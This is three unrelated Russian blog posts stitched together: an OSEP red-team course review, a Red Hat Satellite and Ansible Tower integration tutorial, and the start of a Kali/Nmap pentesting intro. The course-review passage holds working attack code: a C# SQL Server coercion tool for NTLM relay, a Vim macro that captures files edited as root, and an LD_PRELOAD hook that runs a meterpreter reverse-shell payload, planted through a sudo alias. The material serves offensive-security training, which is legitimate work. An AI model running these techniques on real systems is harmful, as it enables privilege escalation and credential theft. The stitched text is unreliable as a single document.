Если в инфраструктуре нет жесткой фильтрации трафика по 445-м портам, можно [пустить собак](https://github.com/BloodHoundAD/BloodHound) на поиск узлов, где целевая УЗ SQL потенциально может являться локальным админом, и [зарелеить](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py) туда NTLM2 response от пришедшей аутентификации. Ок, ок, всем известно...
Раньше я пользовался для этих целей средствами [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL), но в последнее время все чаще сталкиваешься с ситуациями, когда использование PowerShell сильно ограничено разными [AMSI](https://docs.microsoft.com/ru-ru/windows/win32/amsi/antimalware-scan-interface-portal)-ями и [CLM](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)-режимами. Куда менее трудозатратно, чем тестировать способы обхода этого добра в конкретной среде — скомпилировать простую программу на C# с единственным вызовом `xp_dirtree` / `xp_fileexist` и дальше радоваться своей ~~без~~заботной жизни.
```
// SQL.exe
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main(string[] args)
{
string sqlServer = args[0];
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed :(");
Environment.Exit(0);
}
SqlCommand command = new SqlCommand($@"EXEC master..xp\_dirtree '\\{args[1]}\pwn\pwn.txt';", con);
SqlDataReader reader = command.ExecuteReader();
reader.Close();
con.Close();
}
}
}
```
DAFT & ESCТакже для этих целей можно пользоваться готовыми тулкитами [DAFT](https://github.com/NetSPI/DAFT) и [ESC](https://github.com/NetSPI/ESC).
Возможно, это не самый показательный пример для демонстрации пользы от курса, т. к. эта техника давно известна широкой аудитории. Однако сам факт подхода к известным атакам с помощью кастомного кода хорошо характеризует OSEP.
### Атаки на трасты AD
> «Обратите внимание, что **домен** Active Directory не является границей безопасности; **лес** AD является» — Шон Меткалф ([источник](https://adsecurity.org/?p=1640)).
>
>
Здесь речь шла, в основном, о том, как эксплуатировать [ExtraSids Hopping](http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/) для захвата родительского домена из дочернего (или наоборот). В силу существования двустороннего доверия типа Parent-Child эта атака возможна «by design» и является скорее фичей, а не багом.
Атакующий крафтит Golden Ticket с помощью мимика или импакета и добавляет значение SID доверенной междоменной УЗ в свойство `sIDHistory` поля PAC билета Kerberos, получая таким образом «сфорженный» Inter-Realm TGT. Далее всю работу за нас выполнит контроллер домена и запросит вполне легитимный билет у доверяющего DC, который можно использовать для доступа к ресурсам последнего.
Однако не все так просто, когда нужно атаковать другой **лес** AD (Forest Trust), т. к. в этом случае фильтрация SID-ов активна по умолчанию и надурить контроллер уже не получится.
Одна из интересных возможностей для атаки — проверить, не находится ли доменная среда в условиях миграции ресурсов, другими словами, не могут ли пользователи *доверяемого* леса обращаться к ресурсам *доверяющего* леса (спойлер: в таком состоянии инфраструктура организации может находиться годами). В этом случае администратор доверяющего леса отключает механизм фильтрации SID-ов с помощью **netdom**, и `FOREST_TRANSITIVE` траст волшебным образом превращается в траст типа `TREAT_AS_EXTERNAL`.
```
netdom.exe trust forestB.net /d:forestA.net /enablesidhistory:yes
```
Это открывает интересные возможности для атакующего.
Учетные записи с RID-ом выше 1000 (т. е. не встроенные УЗ) по задумке «мелкомягких» не фильтруются при междоменной аутентификации с типом траста `TREAT_AS_EXTERNAL`. Это позволяет эффективно использовать классический ExtraSids Hopping, указывая значение такого SID-а в процессе изготовки тикета.
PowerViewИщем потенциальные учетки для инжекта SID-а в группе `forestB.net\Administrators` с помощью PowerView и PowerView 3.0 соответственно:
```
Get-NetGroupMember -GroupName "Administrators" -Domain -Domain forestB.net
Get-DomainGroupMember -Identity "Administrators" -Domain forestB.net
```
Другой особенностью, на которую также нужно обращать внимание — членство УЗ, SID которой мы инжектим в тикет, в *глобальных доменных группах* (таких как Enterprise Admins и Domain Admins). На такие УЗ механизм SID Filtering распространяется даже при доверии `TREAT_AS_EXTERNAL` и атака не увенчается успехом.
Визуализация трастовЗамечательный инструмент для графического представления доверительных отношений в доменной среде с помощью [yEd Graph Editor](https://www.yworks.com/products/yed/download#download) — это [TrustVisualizer](https://github.com/HarmJ0y/TrustVisualizer) от @HarmJ0y или мой [форк](https://github.com/snovvcrash/TrustVisualizer) этого инструмента, переписанный на Python 3 с распознаванием расширенного списка атрибутов доверия.
### Целимся в Linux
Когда речь заходит об инфраструктурном пентесте, с высокой долей вероятности специалист окажется **в гетерогенной среде**, где присутствуют и Linux-машины в том числе. Для демонстрации реализации бизнес-рисков, скорее всего, придется искать путь на тачки с линуксами, ведь именно на них и разворачивают гитлабы, конфлюенсы, свифты, а там уже окажутся полезными знания, касающиеся постэксплуатации соответствующей ОС.
Для меня интересным кейсом стал пример создания простого кейлоггера с помощью VIM, когда у атакующего есть низкопривелигированный доступ на Linux-машину, и ему хотелось бы разжиться кредами в плейнтексте или содержимым защищенных для чтения файлов. Для этого Offensive Security предлагают использовать такой макрос:
```
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif
```
Когда атакуемый пользователь полезет редактировать файлы с sudo, содержимое сохранится в `/tmp/tmp0x031337`.
Также не редкость ситуация, когда Linux-машина является частью домена AD. В этом случае полезно поохотиться за тикетами, сохраненными в формате `KRB5CCACHE` (в директории `/tmp`), а в случае привилегированного доступа к хосту — за файлами `keytab` (обычно находятся там же).
Не стоит пренебрегать и классической техникой хуков легитимных функций с помощью `LD_PRELOAD`. Например, посмотрим, какие функции вызываются в процессе запуска утилиты `/usr/bin/cp`.
Трассировка вызовов утилиты копирования файловФункция `getuid` выглядит как хороший кандидат для угона. С помощью следующей библиотеки можно форкнуть текущий процесс в момент исполнения `getuid` и подгрузить свой шеллкод:
```
// gcc -Wall -fPIC -z execstack -c -o evilgetuid.o evilgetuid.c
// gcc -shared -o evilgetuid.so evilgetuid.o -ldl
#define _GNU_SOURCE
#include
#include
#include
#include
#include
// msfvenom -p linux/x64/meterpreter/reverse\_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] =
"\x31\x33...\x33\x37";
uid\_t geteuid(void)
{
typeof(geteuid) \*getuid\_orig;
getuid\_orig = dlsym(RTLD\_NEXT, "geteuid");
if (fork() == 0) // if inside the forked process
{
setuid(0);
setgid(0);
printf("Function hooked!\n");
int bufsize = (int)sizeof(buf);
for (int i = 0; i < bufsize-1; i++) {
buf[i] = buf[i] ^ 'a';
}
intptr\_t pagesize = sysconf(\_SC\_PAGESIZE);
if (mprotect((void \*)(((intptr\_t)buf) & ~(pagesize - 1)), pagesize, PROT\_READ|PROT\_EXEC)) {
perror("mprotect");
return -1;
}
int (\*ret)() = (int(\*)())buf;
ret();
}
else // if inside the original process
{
printf("Returning from original...\n");
return (\*getuid\_orig)();
}
printf("Returning from main...\n");
return -2;
}
```
После компиляции достаточно создать алиас для sudo, автоматически загружающий библиотеку по пути, заданному в переменной окружения, и дождаться запуска утилиты `cp` пользователем-жертвой:
```
alias sudo="sudo LD_PRELOAD=/home/victim/evilgetuid.so"
```
### Лабораторные и экзамен
Для каждого раздела методички существует тренировочная лаба, обычно представляющая из себя Windows-хост для разработки со всем необходимым ПО и хосты-жертвы, на которых подразумевается отработка описываемых техник.
По завершении методички, обучающемуся будет предложено выполнить 6 челленджей, каждый из которых представляет «инфраструктуру в миниатюре» (5 лаб из 6 — это доменная среда). Первые 3 лабы — затравочка для отработки изученных техник в боевых условиях, последние 3 — приближенные к экзамену задачи, над которыми придется повозиться.
На экзамене студенту будет предложена легенда вокруг компании, заказавшей проведение внешнего пентеста с проникновением во внутреннюю сеть. На борде для сдачи флагов, будет красоваться финальная цель — имя хоста, куда нужно получиться доступ для получения сокровенного флага `secret.txt`.
Есть два способа успешного сдачи экзамена:
1. Зарутать не менее 10 машин. За каждый пруф дается по 10 баллов. Для сдачи нужно 100.
2. Получить доступ к файлу `secret.txt` на финальном сервере. В этом случае неважно, сколько хостов ты зарутал, экзамен все равно будет засчитан (я пошел этим путем).
На экзамене, в отличие от великого и ужасного OSCP **можно** пользоваться meterpreter-ом, SQLMap-ом и другими тулзами для автоэксплуатации. Запрет только на коммерческие инструменты.
### Заключение
Я и правда очень доволен, что мне довелось пройти этот курс. OSEP следует классической схеме офенсивов "Try harder", и это не может не радовать, а главным достоинством курса я считаю искреннее желание авторов привить любовь обучающемуся в плане проведения собственных исследований в поиске новых техник из той или иной области тестирования на проникновение. | https://habr.com/ru/post/580078/ | null | ru | null |
# Интеграция Satellite и Ansible Tower
Используете Red Hat Satellite и Red Hat Ansible Automation Platform? Начиная с Satellite 6.3, их можно интегрировать друг с другом, чтобы Dynamic Inventory в Ansible Tower подтягивал списки хостов из Satellite. Кроме того, если хосты RHEL инициализируются средствами Satellite (имеется в виду provisioning), то в этот процесс можно встроить Ansible Tower, чтобы он автоматически запускал на новых хостах сценарии конфигурирования.
В этом посте мы рассмотрим, как настроить Dynamic Inventory в Ansible Tower, чтобы он подтягивал хосты из Satellite, и на примерах покажем, как этим пользоваться. Кроме того, расскажем, как организовать автоматический вызов Ansible Tower после инициализации нового хоста из Satellite.
### Часть 1. Интеграция на уровне Inventory. Настраиваем Satellite, чтобы его можно было использовать как Dynamic Inventory в Ansible Tower
Чтобы Ansible Tower имел доступ к списку хостов, группам хостов и другим сопутствующим сведениям, ему нужна учетная запись в Satellite. Этой записи достаточно минимальных разрешений, поэтому мы создадим в Satellite новую роль, дадим ей только необходимые для Ansible Tower разрешения, а затем создадим новую учетную запись и назначим ей эту роль.
В Satellite 6.6 и выше для этого уже есть готовая роль Ansible Tower Inventory Reader, поэтому приведенные ниже шаги по созданию роли можно пропустить.
В Satellite 6.3-6.5 роль придется создать руками. Для этого заходим в веб-интерфейс Satellite, идем на экран Administer, выбираем Roles и щелкаем Create Role.
Назовем эту роль **ansible\_tower\_integration\_role** и зададим для нее **Locations и Organizations**:
Щелкаем Submit, чтобы создать роль. После этого кликаем на ее имя и переходим на вкладку Filters. Жмем зеленую кнопку New Filter и добавляем следующие фильтры, по одному за раз:
Resource Type: **Host**, Permission: **view\_hosts**
Resource Type: **Host Group**, Permission: **view\_hostgroups**
Resource Type: **Fact value**, Permission: **view\_facts**
В итоге роль должна иметь следующие фильтры:
Итак, мы создали роль. Теперь заведем нового пользователя в Satellite, для чего идем в меню **Administer**, выбираем **Users** и щелкаем **Create User**. Называем этого пользователя **ansible\_integration**, меняем параметр **Authorized by** на **INTERNAL** и задаем пароль. Затем на вкладках **Locations и Organizations** выбираем соответствующие локации/организации. Наконец переходим на вкладку **Roles** и назначаем этому пользователю только что созданную роль **ansible\_tower\_integration\_role** (если у вас Satellite 6.3 – 6.5) или встроенную роль **Ansible Tower Inventory Reader** (Satellite 6.6 и выше). В завершение щелкаем Submit, чтобы создать для этого пользователя учетную запись.
#### Настраиваем Ansible Tower
Теперь заходим в веб-интерфейс Ansible Tower и переходим на экран **Credentials**. Жмем зеленую кнопку **+ (Add)**, чтобы создать новую запись Credential. Назовем ее **satellite\_integration**, а в Credential Type укажем **Red Hat Satellite 6**. Затем вводим URL-адрес (в нашем случае Satellite 6), а также имя пользователя (в нашем случае **ansible\_integration**), и пароль – тот, что мы выше задали в Satellite:
После чего щелкаем **Save**.
Теперь переходим на экран **Inventories**, щелкаем зеленую кнопку **+ (Add)** и выбираем **Inventory**. В качестве имени указываем **satellite\_inventory** и жмем **Save**, чтобы создать inventory. После чего переходим на вкладку Sources только что созданного inventory и жмем зеленую кнопку **+ (Add)**. В качестве имени источника используем **satellite**, а тип источника указываем как **Red Hat Satellite 6**. В поле Credential указываем **satellite\_integration**, который создали на предыдущем шаге. Включаем галочки **Overwrite**, **Overwrite Variables** и **Update on Launch** в группе элементов управления Update Options (подробнее узнать об этих опциях можно с помощью знаков вопроса справа). Кроме того, в поле **Cache Timeout (Seconds)** вводим 90 и щелкаем **Save**.
Теперь, не покидая вкладку **Sources**, щелкаем значок **Start sync process**:
Ждем, пока значок позеленеет – это сигнализирует об успешном завершении синхронизации.
Теперь можно перейти на вкладку Hosts и посмотреть данные, которые были подтянуты из Satellite:
Еще можно глянуть вкладку Groups:
Как видим, синхронизация не только подтянула списки хостов из Satellite, но и разбила их на группы по соответствующим контент-представлениям (content views) в Satellite, группам хостов, средам жизненного цикла (lifecycle environments), локациям и организациям. Эту группировку можно использовать для таргетированного запуска сценариев Ansible на целевых хостах, и это очень мощная штука.
Если выбрать какой-нибудь хост на вкладке Hosts, то мы увидим, что между Satellite и Ansible Tower синхронизируется масса вспомогательных сведений о хосте, которые представлены в виде переменных. Эти переменные затем можно использовать в сценариях Ansible:
#### Используем Dynamic Inventory, привязанные к Satellite
Итак, мы синхронизировали Satellite и Ansible Tower.Теперь рассмотрим, как этим пользоваться на практике.
Самый простой способ – использовать **satellite\_inventory** в качестве источника Inventory в шаблоне Ansible Tower Template. Если в сценарии задана опция **hosts: all**, то сценарий будет запущен на всех хостах Satellite.
Более продвинутый вариант – использовать в сценариях автоматически созданные inventory-группы (как они создаются – см. выше), иначе говоря, указывать нужную группу хостов в строке **hosts**. Например, как в этом сценарии, где выполняется установка пакета screen:
```
---
- name: Install screen package
hosts: "foreman_hostgroup_rhel6"
tasks:
- yum:
name: screen
state: installed
```
Здесь мы прописали **hosts: foreman\_hostgroup\_rhel6**, указав тем самым список хостов, образующих в Satellite группу хостов rhel6. Соответственно, сценарий будет выполняться только на этих хостах.
Кроме того, в сценарии можно указывать в строке hosts те переменные, которые Ansible Tower получает в ходе синхронизации с Satellite. Например, можно сделать вот так:
```
---
- name: Install screen package
hosts: "{{ hosts_var }}"
tasks:
- yum:
name: screen
state: installed
```
В результате мы сможем на лету менять job template в Ansible Tower, указывая одну из inventory-групп через внешнюю переменную.
В этом примере шаблон будет запускаться только на тех хостах, которые входят в группу **rhel7** в Satellite.
Более того, job template можно настроить так, что при запуске он будет запрашивать у пользователя значение переменной **hosts\_var** (и при этом выводить на экран имеющиеся inventory-группы в виде комментариев):
Скрин выше иллюстрирует ситуацию, когда при запуске шаблона пользователю предлагается ввести имя inventory-группы Satellite, на хостах которой нужно запустить сценарий.
Кроме того, можно использовать переменные хоста, подтянутые из Satellite при синхронизации. Например, вот как выглядит сценарий, показывающий, как ссылаться на эти переменные:
```
---
- name: Show Satellite variables
hosts: all
tasks:
- name: Show subscription_status
debug:
msg: >
Subscription Status: {{ foreman.subscription_status_label }}
- name: Show Errata Counts
debug:
msg: >
Bug fixes: {{ foreman.content_facet_attributes.errata_counts.bugfix }},
Security: {{ foreman.content_facet_attributes.errata_counts.security }},
Enhancement: {{ foreman.content_facet_attributes.errata_counts.enhancement }},
Total: {{ foreman.content_facet_attributes.errata_counts.total }}
```
Если запустить этот сценарий в Ansible Tower, он покажет значения переменных:
И конечно, эти переменные можно использовать в условных конструкциях when, чтобы задачи запускались только при определенных условиях. Например, если на хосте нет исправлений безопасности, или когда подписка хоста недействительна.
#### Подводим итоги
Red Hat Satellite и Red Hat Ansible сами по себе являются очень мощными инструментами, а их интеграция дает ощутимую синергетику. Выше мы показали, как сделать Satellite источником данных для Dynamic Inventory в Ansible и пользоваться этим на практике.
Часть 2. Автонастройка новых хостов через provisioning callback
---------------------------------------------------------------
Помимо массы прочих возможностей, Satellite также умеет инициализировать хосты, иначе говоря, выполнять provisioning. В свою очередь Ansible Tower предназначен для того, чтобы хосты конфигурировать. Интеграция позволяет сделать так, что после инициализации нового хоста RHEL средствами Satellite к этому хосту будет автоматически подключаться Ansible Tower и запускать на нем соответствующий сценарий конфигурирования. Очевидным образом, такая схема экономит уйму времени системным администраторам, помогая им быстрее реагировать на потребности организации.
Надо заметить, что эта схема работает только при соблюдении нескольких условий. Во-первых, Satellite должен использоваться в качестве источника данных Dynamic Inventory в Ansible Tower (мы рассмотрели этот вопрос в предыдущей части). Во-вторых, инициализации хостов должна не только выполняться через Satellite, но и работать через механизм групп хостов (подробнее об этом можно прочитать в руководстве [Provisioning Guide](https://access.redhat.com/documentation/en-us/red_hat_satellite/6.6/html-single/provisioning_guide/index)).
Ниже мы покажем, как настроить Satellite и Ansible Tower так, чтобы после инициализации хоста на нем автоматически запускался сценарий конфигурирования Ansible.
#### Обзор
Средства ИТ-автоматизации, такие как Ansible Tower, обычно относятся к одной из двух категорий: одни работают по методу push, другие – по методу pull. В push-системах, к которым принадлежит Ansible Tower, соединение с хостом инициирует сервер автоматизации. В pull-системах инициатором выступает хост, который сам связывается сервером автоматизации.
В нашем случае с автоматическим запуском сценариев на новых хостах используется смешанная схема. Только что инициализированный хост обращается к серверу автоматизации с просьбой «перезвонить» ему и провести настройку. После чего сервер автоматизации подключается к этому хосту и запускает на нем запрошенный хостом сценарий конфигурирования. Поэтому в Ansible Tower данный механизм называется provisioning callback, что можно перевести как «инициализационный обратный вызов».
Чтобы показать, зачем вообще нужен provisioning callback, рассмотрим следующую ситуацию: у нас есть некий сценарий конфигурирования хостов, который ежедневно запускается в полночь. Допустим, в 8 утра мы выполняем инициализацию сразу нескольких новых серверов через Satellite. При этом Satellite используется как источник данных Dynamic Inventory в Ansible Tower, поэтому созданные хосты автоматом попадают в Ansible. Однако следующий запуск сценария автоматизации состоится лишь в полночь, то есть через 16 часов. Очевидно, это далеко не идеальный вариант, и хотелось бы, чтобы сценарий запускался сразу после инициализации нового хоста. Именно для этого и придуман provisioning callback.
В общих чертах provisioning callback настраивается и работает следующим образом:
1. На сервере Ansible Tower создаем запись credential и прописываем в ней учетные данные пользователя root, которые Satellite использует при инициализации новых хостов в той или иной своей группе. Tower будет использовать эту запись, чтобы логиниться на только что созданные хосты и запускать на них сценарии.
2. В настройках шаблона Job Template в Ansible Tower разрешаем запросы provisioning callback. Эти запросы должны поступать на соответствующий URL и содержать некий ключ Host Config Key, который задается в настройках этого же шаблона Ansible.
3. В Satellite для группы хостов задаем параметры того, как клиент будет формировать свой запрос provisioning callback к серверу Ansible Tower, а именно: URL-адрес сервера Ansible Tower, ключ Host Config Key и идентификатор шаблона Ansible.
4. При инициализации нового хоста шаблоны инициализации Satellite создают на нем файл /etc/systemd/system/ansible-callback.service (на серверах RHEL 7 и 8; на машинах RHEL 6 используются скрипты). При первой загрузке хоста этот файл инициирует запрос provisioning callback к серверу Ansible Tower, используя параметры, заданные в предыдущем пункте (URL-адрес, Host Config Key и идентификатор шаблона).
5. Ansible Tower получает этот запрос и проверяет ключ Host Config Key. Если ключ верен, Tower инициирует запуск на вызывающем хосте запрошенного шаблона, используя для авторизации учетные данные root, прописанные в шаблоне Job Template. Если все нормально, то шаблон запускается и конфигурирует хост.
#### Настраиваем Ansible Tower для Provisioning Callback
Начнем с создания на сервере Ansible Tower некий сценарий конфигурирования, который меняет содержимое/etc/motd, создает какого-то пользователя и устанавливает определенный пакет. Затем мы будет использовать этот сценарий для настройки новых хостов сразу после их инициализации.
В реальной жизни сценарии автоматизации, скорее всего, хранятся в какой-то системе управления версиями, но для простоты изложения будем считать, что они лежат прямо на сервере Ansible Tower. Поэтому входим на сервер Ansible Tower по SSH и создаем для них каталог /var/lib/awx/projects/provision, выполнив следующую команду:
```
# mkdir /var/lib/awx/projects/provision
```
Затем создаем в этом каталоге наш сценарий, называем его provision.yaml и прописываем в нем следующее содержимое:
```
---
- name: Provision new host
hosts: all
tasks:
- name: Set content in /etc/motd
copy:
content: Authorized use only!
dest: /etc/motd
mode: 644
owner: root
group: root
- name: Create brian user account
user:
name: brian
uid: 10000
state: present
- name: Install tmux package
yum:
name: tmux
state: present
```
Теперь заходим в веб-интерфейс Tower и идем на экран Credentials. Щелкаем кнопку с зеленым плюсиком, чтобы создать новую запись credential, даем ей имя provisioning\_root, а также задаем Credential Type как Machine. В поле Username пишем root, а в поле Password указываем тот пароль, который задан в Satellite для использования на новых хостах соответствующей группы хостов в Satellite (ее название его можно посмотреть в веб-интерфейсе Satellite на вкладке Operating System). Используя эту запись, Ansible Tower сможет авторизоваться на новых хостах, созданных при инициализации через Satellite.
После этого в интерфейсе Ansible Tower идем на экран Projects и щелкаем зеленый плюсик, чтобы создать новый проект. Назовем его provision, изменим SCM Type на Manual, а в качестве каталога Playbook Directory укажем provision:
Затем в интерфейсе Ansible Tower переходим на экран Templates, щелкаем зеленый плюсик, чтобы создать новый Job Template. Назовем его provision, в поле Inventory пишем Satellite, в поле Project – provision, в поле Playbook – provision.yaml, а в поле Credential – provisioning\_root. Кроме того, надо включить галочку Allow Provisioning Callbacks и щелкнуть значок с волшебной палочкой справа от поля Host Config Key, чтобы сгенерировать секретный ключ. Этот ключ нужен для того, чтобы запрашивать provisioning callback мог не кто угодно, а только тот, кто знает Host Config Key. Без указания верного ключа сервер Ansible Tower просто не будет реагировать на запрос.
Теперь нам надо запомнить на будущее значение ключа Host Config Key, а также Template ID, который можно узнать из URL-адреса этого шаблона Job Template:
```
https://tower.example.com/#/templates/job_template/11
```
В этом примере ID равен 11.
#### Настраиваем Satellite для Provisioning Callback
Теперь заходим в веб-интерфейс Satellite, идем на экран Configure и щелкаем Host Groups. Выбираем существующую группу хостов, которая используется при инициализации новых хостов, в нашем примере это группа RHEL 8.
На экране редактирования группы хостов переходим на вкладку Parameters и создаем 4 новых параметра:
ansible\_host\_config\_key – здесь прописываем Host Config Key из нашего шаблона Ansible Tower Template.
ansible\_job\_template\_id – здесь пишем Template ID, которые мы ранее выяснили из URL шаблона.
ansible\_tower\_fqdn – полное доменное имя сервера Ansible Tower.
ansible\_tower\_provisioning – прописываем true.
#### Проверяем, как всё работает
Теперь инициализируем новый хост из Satellite и проверим, что provisioning callback работает и автоматически запускает наш сценарий на этом хосте.
В веб-интерфейсе Satellite идем на экран Hosts, щелкаем Create Host и проверяем, что используется именно та группа, для которой мы только что создали 4 новых параметра, то есть группа RHEL 8.
После того, как инициализация хоста выполнена, нам надо удостовериться, что шаблон на нем был успешно запущен. Для этого в веб-интерфейсе Ansible Tower идем на экран Templates, ищем наш шаблон в списке и смотрим, позеленел ли самый левый квадратик его индикатора:
Щелкаем этот зеленый квадратик, чтобы посмотреть детали запуска, который в нашем случае был успешным. Обратите внимание, что у этого задания есть ограничение (Limit) – запуск только новых хостах, которые создаются в ходе инициализации. Что ж, это неудивительно, поскольку механизм provisioning callback запускает шаблон только на тех хостах, которые этого просят.
Теперь зайдем на только что созданный хост и проверим, соответствует ли он тому, что прописано в сценарии:
```
[root@provision-test-rhel8 ~]# rpm -qa | grep tmux
tmux-2.7-1.el8.x86_64
[root@provision-test-rhel8 ~]# id brian
uid=10000(brian) gid=10000(brian) groups=10000(brian)
[root@provision-test-rhel8 ~]# cat /etc/motd
Authorized use only!
```
#### Устранение неполадок
Если шаблон Ansible Tower не запускается автоматически на новом, инициализированном через Satellite, хосте, надо проверить несколько вещей.
Первым делом надо выяснить, получал ли Ansible Tower запрос на provisioning callback, как прошел запуск сценария и запускался ли он вообще. Для этого в интерфейсе Tower идем на экран Templates и смотрим цвет индикатора рядом с именем шаблона: зеленый – запуск прошел успешно, красный – неудачный запуск.
Если квадратик красный, то щелкаем его и смотрим дополнительные сведения, чтобы понять почему запуск сорвался (это могут быть как синтаксические ошибки в сценарии, так и другие проблемы).
Если квадратик зеленый, то все равно щелкаем и смотрим, поскольку задание могло рапортовать об успешном выполнении, но на самом деле не запускалось на нашем хосте. Например, если строка hosts в сценарии указывает конкретные хосты и группы, но не включает хосты, создаваемые в ходе инициализации, то задание будет рапортовать об успешном выполнении, но в дополнительных сведениях будет написано «skipping: no hosts matched».
Если же квадратик индикатора ни зеленый, ни красный, то начать надо с проверки параметров группы хостов в Satellite. Убедитесь, что там верно указаны URL сервера Ansible Tower, ключ Host Config Key и идентификатор шаблона.
Далее зайдите на только что инициализированный хост и проверьте, что там есть файл /etc/systemd/system/ansible-callback.service (на системах RHEL 7 или 8) или файл /root/ansible\_provisioning\_call.sh (RHEL 6).
Если файла нет, проверьте, что для этой группы хостов параметр ansible\_tower\_provisioning задан как true, а шаблоны инициализации на сервере Satellite не были изменены.
Если файл /etc/systemd/system/ansible-callback.service на хосте присутствует, то открываем его и ищем URL, по которому отправляется запрос provisioning callback:
```
[root@provision-test-rhel8 ~]# cat /etc/systemd/system/ansible-callback.service
[Unit]
Description=Provisioning callback to Ansible Tower
Wants=network-online.target
After=network-online.target
[Service]
Type=oneshot
ExecStart=/usr/bin/curl -k -s --data "host_config_key=aa5ebe82-491c-4fbb-bd36-a6657549451e" https://tower.example.com/api/v2/job_templates/11/callback/
ExecStartPost=/usr/bin/systemctl disable ansible-callback
[Install]
WantedBy=multi-user.target
```
Можно запустить curl и вручную продублировать указанные в этом файле команды, чтобы руками инициировать provisioning callback:
```
[root@provision-test-rhel8 ~]# /usr/bin/curl -k -s --data "host_config_key=aa5ebe82-491c-4fbb-bd36-a6657549451e" https://tower.example.com/api/v2/job_templates/11/callback/
```
Если указан неверный Host Config Key, мы получим следующее сообщение об ошибке:
```
[root@provision-test-rhel8 ~]# /usr/bin/curl -k -s --data "host_config_key=wrong-key-here" https://tower.example.com/api/v2/job_templates/11/callback/
{"detail":"You do not have permission to perform this action."}
```
Если неправильно указан Template ID (здесь – 43 вместо 11), то ответ будет следующий:
```
[root@provision-test-rhel8 ~]# /usr/bin/curl -k -s --data "host_config_key=wrong-key-here" https://tower.example.com/api/v2/job_templates/43/callback/
{"detail":"Not found."}
```
Также можно отключить режим silent (-s) в команде curl, чтобы она выводила на экран ошибки, связанные с разрешением имени хоста, как в примере ниже, где мы заменили верное имя ansible.example.com на неверное ansible-tower.example.com:
```
[root@provision-test-rhel8 ~]# /usr/bin/curl -k --data "host_config_key=wrong-key-here" https://ansible-tower.example.com/api/v2/job_templates/11/callback/
curl: (6) Could not resolve host: ansible-tower.example.com
```
Кроме того, при выяснении причин ошибки может пригодиться файл /var/log/tower/tower.log на сервере Ansible Tower.
Например, в этом файле фиксируется использование неверного ключа Host Config Key:
```
2019-11-19 23:19:17,371 WARNING awx.api.generics status 403 received by user AnonymousUser attempting to access /api/v2/job_templates/11/callback/ from 192.168.0.138
```
Здесь же фиксируется использование неверного Template ID:
```
2019-11-19 23:19:49,093 WARNING awx.api.generics status 404 received by user AnonymousUser attempting to access /api/v2/job_templates/43/callback/ from 192.168.0.138
2019-11-19 23:19:49,095 WARNING django.request Not Found: /api/v2/job_templates/43/callback/
```
#### Подводим итоги
Интеграция Satellite и Ansible Tower позволяет сильно оптимизировать процессы инициализации и конфигурирования новых хостов, что экономит уйму времени системным администраторам, помогая им быстрее реагировать на потребности организации.
**24 марта с 11:00 до 12:30 Red Hat проведет вебинар «Что нужно знать про автоматизацию: Базовые навыки работы с Ansible»**
Автоматизация – тема, приближающаяся по популярности и количеству запросов к цифровой трансформации. Мы расскажем вам про наш взгляд на автоматизацию – вместе с Ansible и Ansible Tower – и это будет та базовая информация, которая откроет вам двери в дивный новый мир декларативных средств автоматизации.
После этого вебинара вам станут понятны базовые сущности Ansible, такие как playbook, inventory, module. Вместе с вами мы освоим основной синтаксис YAML, чтобы вы смогли писать ваши собственные сценарии. Также будет рассмотрен вопрос запуска на исполнение сценариев и эскалации привилегий.
В результате вы получите базовый набор навыков, который позволит вам успешно изучать документацию и другую литературу без постоянного чувства, что вы что-то упускаете из виду. **[Регистрируйтесь](https://events.redhat.com/profile/form/index.cfm?PKformID=0x145389abcd&sc_cid=7013a000002DU9LAAW) и приходите!** | https://habr.com/ru/post/491138/ | null | ru | null |
# Найти и не обезвредить: пишем пентесты с Kali Linux
#### Kali и другие подобные инструменты помогают обнаружить уязвимости в вашем ПО. И лучше, если первыми их найдёте вы, а не злоумышленники.
Шило в мешке не утаить: по неведению (правда, в некоторых случаях — умышленно) даже крупные корпорации оставляют дыры в своей системе безопасности. Жизненно важно как можно быстрее (1) локализовать их и (2) пофиксить. К счастью, существует множество различных продуктов, которые помогают с первым пунктом. Среди них можно выделить [Kali](https://www.kali.org/), дистрибутив Linux, разработанный для тестирования систем безопасности. В этой статье я расскажу, как использовать Kali Linux для исследования вашей системы и поиска слабых мест, имитируя атаку злоумышленника.
Дистрибутив Kali включает множество инструментов, каждый из которых имеет открытый исходный код. Достаточно запустить установку дистрибутива и все эти инструменты будут доступны из коробки.
****
*Изображение*: Peter Gervase,[CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/)
В качестве подопытных я буду использовать две системы:
1. **kali.usersys.redhat.com**: 30 Гб памяти и 6 виртуальных CPU. Эта система будет выполнять сканирование «жертвы» и запускать атаки.
2. **vulnerable.usersys.redhat.com**: система с Red Hat Enterprise Linux 8 на борту. Вот её нужно будет атаковать.
Я не зря упомянул здесь технические характеристики оборудования. Некоторые из наших задач довольно требовательны к железу, особенно — к CPU системы 2, на которой будет работать сканер безопасности WordPress ([WPScan](https://wpscan.com/wordpress-security-scanner)).
Поиск открытых портов
---------------------
Я начал с базового сканирования системы 2. Сканируя систему с помощью [Nmap](https://www.redhat.com/sysadmin/using-nmap-harden-systems), можно узнать, какие порты и службы видны из системы 1, запускающей сканирование.
****
*Изображение*: Peter Gervase,[CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/)
Итак, первым делом можно найти несколько «интересных» открытых портов — потенциальных слабых мест. На самом деле, любой открытый порт интересен, потому что с его помощью больше шансов взломать сеть. В этом примере 21, 22, 80 и 443 — это ещё и порты часто используемых служб. Но пока я просто занимаюсь разведкой и пытаюсь получить как можно больше информации о системе, которую хочу взломать.
После этого для более глубокого анализа я выбраю порт 80 и запускаю команду Nmap с аргументами -p 80 и -A. Это позволяет получить информацию об операционной системе и приложении, которое использует 80-й порт.
****
*Изображение*: Peter Gervase,[CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/)
